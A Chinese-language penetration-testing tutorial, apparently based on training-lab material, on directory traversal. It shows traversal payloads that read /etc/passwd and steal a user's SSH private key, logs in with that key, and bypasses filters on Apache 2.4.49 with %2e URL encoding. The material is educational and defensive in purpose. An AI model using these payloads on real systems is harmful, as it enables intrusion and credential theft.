目錄
前言
網頁開發在LLM盛行之前的需求非常廣泛,到了諸多MCP可以使用的時代之後,我覺得深刻了解網頁應用服務開發的需求又更加重要了,雖然小型的專案各位可以透過各大線上LLM服務產出內容,但如果缺乏網頁開發者的背景知識、專案的時間壓力以及日新月異的框架新技術變更
不斷地用prompt的回應組合堆疊出網站,變相的幫助了某些漏洞更經常存在於模型裡權重高的寫法中,而通常建構出來的網頁應用服務為了需要滿足使用者的天馬行空需求,架構只會越用越大,不了解背後邏輯的呼叫者根本無法進行debug
更別說要看出LLM寫的功能是否存在網路安全疑慮,不管最後做出來的專案成果堆疊了多少東西上去,最終有一些常見的網頁應用服務漏洞可以從部署上多個維度來分析
目錄遍歷
網頁應用服務的功能由伺服器上的路徑進行呈現,伺服器除了處理邏輯功能,偶爾也需要存放一些重要的資料,我們可以利用相對或絕對路徑施展目錄遍歷漏洞,甚至編碼特殊的字元來找出正規路徑抵達不到的地方,但在那之前,我們先討論絕對跟相對路徑
絕對 v.s. 相對路徑
在利用瀏覽器查看任何網站中,我們想要顯示、上傳、引用以及執行指定的路徑檔案都有可能幫助漏洞的形成,取決於網頁應用服務的結構,對於這一點來說絕對路徑以及相對路徑就是我們最關心的事情了,了解這兩個路徑是必不可少的步驟
為了更詳細的討論絕對路徑,我們選擇包括子目錄都顯示出來的全檔案系統路徑來說明,如果讀者有架設過任何Linux機器的話,就為發現所有的目錄都會是檔案系統,而要存取系統上的資源通通都是用絕對路徑來索引,從反斜線的”/”根目錄開始往下延伸,這便是Linux系統的root檔案系統的開頭
而後就能從根目錄到達其他路徑,如果讀者在/home/kali/路徑底下的話,我們來顯示/etc/passwd目錄,最一開始我們可以輸入”pwd”這個指令來查看目前在哪個目錄底下
接著用”ls /”指令可以列出在root檔案系統下所有存在的目錄,可以發現”/etc/”目錄就在這裡,要指定根目錄底下的”etc”子目錄,我們先決定根目錄的絕對路徑,組合起來的話就是”/etc/passwd”路徑,這樣的話絕對可以找到這第二層的”passwd”目錄
雖說如果不指定根目錄的話,在家目錄底下kali終端機也會自動地尋找”etc”目錄,但也要在正確的目錄底下呢
kali@kali:~$ pwd
/home/kali
kali@kali:~$ ls /
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc lib lost+found proc srv var
kali@kali:~$ cat /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
king-phisher:x:133:141::/var/lib/king-phisher:/usr/sbin/nologin
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh
接著讓我們來看相對路徑如何達到一樣的成果,我們的目標想要在kali終端機家目錄底下顯示”/etc/passwd”目錄的內容,為了移動到前一個目錄,我們可以使用”../”來移動,甚至可以組合多組”../”連續路徑
同理,可以使用”ls”組合”../”來顯示kali使用者上一層目錄的內容,上述提到”../”可以組合數層,如果在使用者路徑下輸入兩組”../”就會回到根目錄檔案系統,屆時再用”ls”就可以看到”etc”目錄了
kali@kali:~$ pwd
/home/kali
kali@kali:~$ ls ../
kali
kali@kali:~$ ls ../../
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc lib lost+found proc srv var
擁有這幾點的理解之後,就可以記住滲透測試時登入進檔案系統或者取得一個新的使用者帳號後,在”etc”之前加上兩組”../”就可以組合出”/etc”的絕對路徑,我們最感興趣的就是搭配”cat”指令把”etc”目錄底下的”passwd”檔案進行顯示出來,而相對路徑就是”../../etc/passwd”
kali@kali:~$ ls ../../etc
adduser.conf debian_version hostname logrotate.d passwd
...
logrotate.conf pam.d rmt sudoers zsh
kali@kali:~$ cat ../../etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
king-phisher:x:133:141::/var/lib/king-phisher:/usr/sbin/nologin
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh
上述我們假設是一般的Linux檔案系統,而預設往上看了兩層的路徑就能找到”/etc/passwd”這個檔案,如果我們分析其他種例子看看,我們還可以加上更多層的”../”
kali@kali:~$ cat ../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
king-phisher:x:133:141::/var/lib/king-phisher:/usr/sbin/nologin
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh
要用多少組的”../”取決於我們的相對路徑何時可以抵達根目錄系統檔案,理論上來說我們可以加上任何數量的”../”,只要最終目的地是到”/”根目錄當作開頭,更多的”../”就不會再相對到其他地方去
畢竟有時Linux的伺服器環境不同,我們有可能不知道目前的路徑是在哪一台的機器底下,甚至帳號是在某台Container/VM底下,此時我們能夠相信的就只有超大量的”../”可以確保帶我們到相對路徑的根目錄底下了
識別以及利用目錄遍歷
目錄遍歷攻擊又稱作路徑遍歷攻擊,通常發生在網頁應用服務沒有確實的消毒使用者的輸入,導致非預期使用者可以在伺服器上存取到敏感性的資料,讀者應該有在某些網站上看過特定的頁面顯示資料內容,例如下載ODT檔案的頁面、或者可以線上瀏覽PDF檔案的網頁
這些檔案都是由伺服器上的檔案系統提供,代表檔案就在伺服器上的根目錄或者某個子目錄底下,在Linux系統上,”/var/www/html/”通常就是網頁應用服務的根目錄,當應用服務啟動後我們輸入”http://example.com/file.html”檔案呈現出來的頁面,就是存取”/var/www/html/file.html”這個檔案給您看的
上述的file.html檔案路徑沒有洩漏額外的資訊出來,直覺上可以想成網頁應用服務的根目錄就是網頁首頁所在的目錄,如果網頁應用服務存在目錄遍歷漏洞的話,非授權的使用者就可以用相對路徑存取到網頁目錄之外的地方及檔案,甚至是較隱密的檔案,例如SSH的私鑰或者設定檔
儘管知道如何利用目錄遍歷漏洞是很重要的技巧,但如何找出這個漏洞的特徵同樣也不可不知,我們必須總是確認網頁中的每一個按鈕功能、確認所有連結、找出所有可以存取的頁面,以及盡可能的挖掘網頁原始碼來找出漏洞,尤其在連結裡可以找出有價值的資訊,有機會找出對應用服務來說有用的參數或其他資料
舉例來說,下面這個連結例子中我們可以看出一些極其重要的事情
https://example.com/cms/login.php?language=en.html
首先第一點我們看到”login.php”可以知道這個網頁應用服務背後使用的是PHP程式語言,我們就可以猜測整個服務背後是怎麼運作的,這點在之後利用階段會很有幫助
接著第二點這個URL包含了語言的參數利用HTML頁面當作數值,在這種情形下,我們可以試著直接存取該檔案試試看(https://example.com/cms/en.html),如果這個檔案可以成功開啟,代表該檔案是存放在伺服器上的實體檔案,代表我們也可以用這個參數試試其他種檔案名字,我們需要時時刻刻的注意開發者是否使用檔案名稱作為參數的值
第三點,URL中的目錄名稱有個”cms”,這項資訊也很關鍵,代表該網頁應用服務是在某個子目錄底下執行起來的
第二個例子我們用實驗來看Mountain Desserts這個SPA應用服務,啟用該項網頁服務後我存取http://mountaindesserts.com/meteor/index.php這個單一頁面

上圖就是本次實驗中的頁面,可以看到放問的網站是index.php這個檔案,所以我們可以直接預設這個應用服務是使用PHP作為基底,為了獲得更多的資訊,我們首先可以檢查所有的按鈕以及連結,盡可能的搜集連到不同頁面的存取參數

在我們檢查所有按鈕裡的連結後,我們注意到按下去幾乎只會連到index頁面本身,但在頁面最底下其中一個連結,我們發現了一組顯示出”Admin”的連結

上圖是當我們移到Admin的連結上後顯示給我們看的連結,其中顯示http://mountaindesserts.com/meteor/index.php?page=admin.php,這讓我們知道整個服務使用PHP程式語言,以及參數叫做page,所以我們先假設這個參數是用來控制顯示不同的頁面
PHP使用”$_GET”變數來控管GET請求,當我們按下這個連結後,顯示收到錯誤訊息說該頁面正在維修

這份訊息對我們來說很重要,按下連結後有動作代表背後的功能是存在的,在這種情況下,我們需要做幾種假設為何網頁應用服務出現這樣的情況,從而反推出開發的功能有哪些行為。舉例來說,當我們打開mountaindesserts.com/meteor/admin.php時,它直接顯示了我們先前按下”Admin”按鈕的錯誤訊息

這份訊息指出這個頁面的內容就是包含在網頁應用服務當中,並且是透過頁面的參數以及”Admin”這個連結觸發的,如果URL的參數是可以成功吃進去的,我們則可以嘗試使用”../”潛在惡意的參數來執行遍歷整個目錄,首先我們測試利用相對路徑來測試頁面參數施行目錄遍歷找出”/etc/passwd”這個檔案
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd

上圖為我們嘗試後的結果,顯示出了”/etc/passwd”這個檔案,這代表我們利用相對路徑成功執行了目錄遍歷漏洞,利用這個漏洞我們可以搜集更多資訊,就如之前講的一樣,存取某些只有授權過才能看的隱密檔案,例如密碼或金鑰內容,如果被惡意攻擊者取得的話可以存取原先無法存取的系統
大部分情況下,網頁伺服器是由專門的使用者帳號底下例如www-data這個目錄下執行的,通常這些使用者的目錄會由系統進行權限控管,然而有時使用者或者管理員會設置一些原本不預期的存取權限,可能讓檔案的存取權限變得很廣泛,甚至任何人都可以存取到
有時候則是在部署時有時間壓力或當初沒有考量完善的安全政策,所以我們更應該時常檢查SSH金鑰的狀態以及存取權限,SSH金鑰通常儲存在使用者根目錄底下的”.ssh”資料夾內,但對於攻擊者來說這就很幸運了,畢竟”/etc/passwd”檔案同樣包含所有使用者的根目錄路徑
在我們的實驗中”etc/passwd”檔案顯示了一個使用者叫做”offsec”,讓我們來利用相對路徑設置惡意頁面參數,來顯示這個使用者的私鑰內容
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa

結果是我們成功收到了offsec使用者的私鑰,檢查這個輸出後我們注意到內容被格式化成凌亂的bits,在網頁應用服務評估階段時,我們應該要盡快的識別出任何有機會成功的漏洞,例如目前嘗試的頁面參數,但同時我們也不應該太依賴瀏覽器來進行測試
現今瀏覽器不斷地在優化使用者的體驗,導致某些測試功能被隱藏起來,或者連線請求都經過分析修改,所以在進行網頁應用服務測試時,我們應該多使用一些專業的工具例如Burp Suite、cURL或者自己寫工具
讓我們來嘗試使用”curl”來獲取SSH的私鑰吧
kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAz+pEKI1OmULVSs8ojO/sZseiv3zf2dbH6LSyYuj3AHkcxIND7UTw
XdUTtUeeJhbTC0h5S2TWFJ3OGB0zjCqsEI16ZHsaKI9k2CfNmpl0siekm9aQGxASpTiYOs
KCZOFoPU6kBkKyEhfjB82Ea1VoAvx4J4z7sNx1+wydQ/Kf7dawd95QjBuqLH9kQIEjkOGf
BemTOAyCdTBxzUhDz1siP9uyofquA5vhmMXWyy68pLKXpiQqTF+foGQGG90MBXS5hwskYg
...
lpWPWFQro9wzJ/uJsw/lepsqjrg2UvtrkAAADBAN5b6pbAdNmsQYmOIh8XALkNHwSusaK8
bM225OyFIxS+BLieT7iByDK4HwBmdExod29fFPwG/6mXUL2Dcjb6zKJl7AGiyqm5+0Ju5e
hDmrXeGZGg/5unGXiNtsoTJIfVjhM55Q7OUQ9NSklONUOgaTa6dyUYGqaynvUVJ/XxpBrb
iRdp0z8X8E5NZxhHnarkQE2ZHyVTSf89NudDoXiWQXcadkyrIXxLofHPrQzPck2HvWhZVA
+2iMijw3FvY/Fp4QAAAA1vZmZzZWNAb2Zmc2VjAQIDBA==
-----END OPENSSH PRIVATE KEY-----
...
這就如同方才跟瀏覽器上一樣,我們取得了較更好操控的格式SSH私鑰內容,雖然HTML的內容也一併爬下來了,但我們只需要專注針對SSH私鑰即可,開頭從—–BEGIN OPENSSH PRIVATE KEY—–到結尾的—–END OPENSSH PRIVATE KEY—–裡的內容複製出來,我們產一個檔案叫做”dt_key”把私鑰資訊放進去
接著我們用這把私鑰透過SSH連接目標系統的2222 port,我們可以利用”-i”這個參數來指定我們偷來的私鑰檔案,再用”-p”參數指定port,不過在我們利用這把私鑰之前,我們需要先修改”dt_key”檔案的權限,讓只有使用者以及擁有者可以讀取這份檔案,如果不先設定好的話ssh會無法存取,而顯示沒有權限可以開啟的錯誤資訊
kali@kali:~$ ssh -i dt_key -p 2222 offsec@mountaindesserts.com
The authenticity of host '[mountaindesserts.com]:2222 ([192.168.50.16]:2222)' can't be established.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for '/home/kali/dt_key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
...
kali@kali:~$ chmod 400 dt_key
kali@kali:~$ ssh -i dt_key -p 2222 offsec@mountaindesserts.com
...
offsec@68b68f3eb343:~$
以上就是Linux系統上的目錄遍歷攻擊方法,但同時這種攻擊方法也可以在Windows上運作,在Linux裡我們會用”/etc/passwd”作為攻擊的測試,而換到了Windows上,我們可以利用”C:\Windows\System32\drivers\etc\hosts”檔案來作為測試的目標,這個檔案可以被所有local端的使用者都存取
透過顯示這個檔案,我們可以確保漏洞的存在,以及了解網頁應用服務顯示檔案內容的形式,確認完漏洞的存在後,之後就可以指定某些儲存隱密資訊的檔案,例如設置檔以及logs
一般來說在Windows上利用目錄遍歷漏洞會比Linux還要困難,在Linux系統上,目錄遍歷的標準做法是顯示出所有在”/etc/passwd”裡的全部使用者,只要是在家目錄裡存在的使用者皆有私鑰,我們也可以從裡面獲得私鑰透過SSH來存取系統
不幸的是,這無法直接套用在Windows上,另外,Windows對於檔案管理的權限常常很繁雜,導致我們沒有一次列出所有使用者目錄的功能,自然也無法輕易的就找出隱密的檔案,這代表為了找出檔案裡隱藏的敏感資訊,我們需要更深的挖掘關於網頁應用服務,搜集關於網頁伺服器、框架以及背後的程式語言資訊
一旦我們獲得了正在執行的應用程式或服務背後的資訊,我們可以研究一條可行的路通往敏感資訊的地帶,舉例來說,如果我們知道目標系統正在執行網路資訊服務(Internet Information Services, IIS)網頁伺服器的話,我們可以研究它的log路徑以及網頁底層結構
透過微軟官方文件,我們知道了IIS的log是儲存在”C:\inetpub\logs\LogFiles\W3SVC1\”目錄底下,另一個只要目標是IIS網頁伺服器時我們也該注意的是”C:\inetpub\wwwroot\web.config”設置檔,裡面可能會存著敏感性資料例如密碼或者使用者名稱
在Linux系統裡我們可以用一連串的”../”來進行目錄遍歷,但在Windows的檔案系統設計不同,微軟採用的是反斜線來替代,所以讀者要記住如果目標環境換成Windows時不要再用”../”而是改用”..\”,不過由於在RFC 1738裡制定了URL必須用斜線(/)來做分類,我們有可能在Windows上遇到網頁應用服務只能用反斜線(\)才有辦法執行目錄遍歷漏洞的情況
因此目標是在Windows上的網頁伺服器時,嘗試斜線(/)與反斜線(\)兩種方法我們都必須去嘗試,如果只靠其中一種找不出該漏洞的話就換成另一種
特殊字元編碼
我們在上一節當中對於目錄遍歷的概念有了一些理解,接著我們針對這些技巧來嘗試現實的漏洞,我們在Nessus弱點掃描一文中掃描了SAMBA機器並且找到了目錄遍歷漏洞發生在Apache 2.4.49版本上,而這個漏洞在URL裡可以指定cgi-bin之後置入相對路徑來利用
讓我們來實驗用curl以及數個”../”嘗試利用目錄遍歷漏洞針對Apache 2.4.49版本
kali@kali:/var/www/html$ curl http://192.168.50.16/cgi-bin/../../../../etc/passwd
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
kali@kali:/var/www/html$ curl http://192.168.50.16/cgi-bin/../../../../../../../../../../etc/passwd
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
上面的實驗來看我們嘗試了兩種不同數量的”../”路徑,透過目錄遍歷漏洞來顯示”/etc/passwd”內容但都失敗了,由於利用”../”路徑已經是多年以來的方法,所以現代網頁伺服器經常會透過伺服器、網頁應用服務防火牆或者應用服務本身把這些字串給過濾掉
不過我們很幸運,我們可以利用URL編碼方法,或者有時稱作百分數編碼來繞過這些阻擋,我們能夠利用這些特殊的ASCII編碼清單來手動轉碼,將我們上面的路徑透過一些線上工具轉換,例如我們可以把點通通置換成”%2e”這個字元
kali@kali:/var/www/html$ curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
alfred:x:1000:1000::/home/alfred:/bin/bash
我們重新curl了一次,即便換成了ASCII字元我們也可以正常的利用目錄遍歷手法成功顯示出”/etc/passwd”檔案裡的內容,一般來說,URL編碼用來轉換網頁請求格式的字元,這些字元同樣可以在網際網路上傳送並且網頁伺服器可以成功解碼,然而換到滲透測試的角度來看,這些知名的方法卻被用作惡意的行為
這是因為編碼過的字元請求被過濾器視為正常的方法而忽略,代表過濾器只能針對明文的格式”../)進行檢查,但卻無法針對”%2e%2e/”進行檢查,只要繞過了這層過濾器,網頁應用服務或者伺服器就會將所有輸入進來的編碼字元視為有效的請求
